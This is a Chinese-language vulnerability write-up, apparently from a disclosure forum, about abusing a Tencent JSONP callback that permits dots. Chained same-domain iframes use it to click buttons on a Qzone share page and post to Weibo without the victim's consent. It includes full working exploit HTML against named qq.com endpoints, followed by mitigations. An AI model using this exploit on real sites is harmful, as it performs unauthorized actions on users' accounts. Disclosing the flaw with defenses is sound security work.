今天扯淡一种另类的csrf:通过低敏感度,所以没有csrf防护的页面,来操作高敏感度的页面,比如微薄加粉,发微薄云云。
/* 无耻的小注释 这个问题已经在腾讯漏洞报告平台报告,觉得比较好玩,故扯出来发到zone里,让大家乐乐。 腾讯这样的忽略点应该不少,大家可以再挖挖。 */
话说某个月高风黑,伸手不见黑夜的五指,菜逼哥正蛋疼的挖着tx的洞,为了换几个公仔给妹纸逗乐,下意识地在火狐界面下按下了F12。
据某XX的经验,那些看得见的页面,屌丝程序猿们基本都有防护,那些看不见得地方最容易出问题。在web2.0的今天,界面上最看不见的东西是什么,那当然各种回调了。所以按F12找各种json、callback,无往不利。
就在菜逼哥按下F12的那个时刻,一个网址映入菜逼哥的眼帘:
http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=callback
于是,熟练的手起刀落,查看起源代码:
<script type="text/javascript"> <!-- document.domain='qq.com'; try { callback({'cmd':'login', 'result':0}); } catch (e) {} //--> </script>
呵呵,又一个写在<script>标签中的回调。各位现在可以尽情的fuzz一下,此处回调对回调名字过滤甚是严格,只允许a-zA-Z0-9[]'".这些字符。妄图alert(/hacked by 路人甲@wooyun/)的希望都破灭了
似乎没戏了,不过,似乎,总感觉哪里不太对劲的样子。。。。
仔细琢磨琢磨。。。。
利用点
似乎
就
出在
那个
小数点上
著名的“风骚爱情湿人学者”韩寒童鞋曾经曰过,什么叫现代湿,把散文拆开,分行来写就对了。
菜逼哥一直对那些会写湿的人很仰慕,就也附庸风雅,写了上面这一小段,大家凑合着看看?
大胆假设一下,如果callback的取值是parent.iframe_id.element_id.click,那么位于父页面中,iframe引用了与其同域的页面中的元素、函数这些东西,会不会触发、调用呢?
一个声音高叫着:答案是有的
既然答案是有的,菜逼哥我就不罗嗦了,先放出利用代码再说吧:
<html><body> <script> function step1(){ var obj=document.createElement("iframe"); obj.src="http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=parent.xx.web_weibo.click"; document.body.appendChild(obj); setTimeout("step2();",100); } function step2(){ var obj=document.createElement("iframe"); obj.src="http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=parent.xx.postButton.click"; document.body.appendChild(obj); } </script> <iframe id='xx' name='xx' src='http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http://cnssuestc.org/' onload="javascript:step1();" width="1000" height="1000" ></iframe> </body></html>
http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http://cnssuestc.org/
这个页面是qq空间的一键分享网址的页面,访问下就会看到,页面左下角有一个同时转发到微薄云云。
然后呢,代码应该也不需要解释了,大家都看得懂。
这样的问题说大不大,说小不小,关键就看到被操作页面有没有敏感的函数、元素可以被调用了。
防范的话,应该也是比较简单的,在操作原页面做普通的csrf防护:加token也好,referer判断也行;
原页面限制下小数点出现的次数:比如http://e.qq.com/ec/verifymail.php?script&callback=parent.xx这个页面,只允许使用一个小数点,那几乎就没什么想法了。如果有哪位大犇有利用思路,欢迎回帖指出。
被操作页面判断top.location,parent.location是否为可信域名下的页面:这个可能容易疏漏。whatever,也是一种限制被利用的方式
最后给两个效果图吧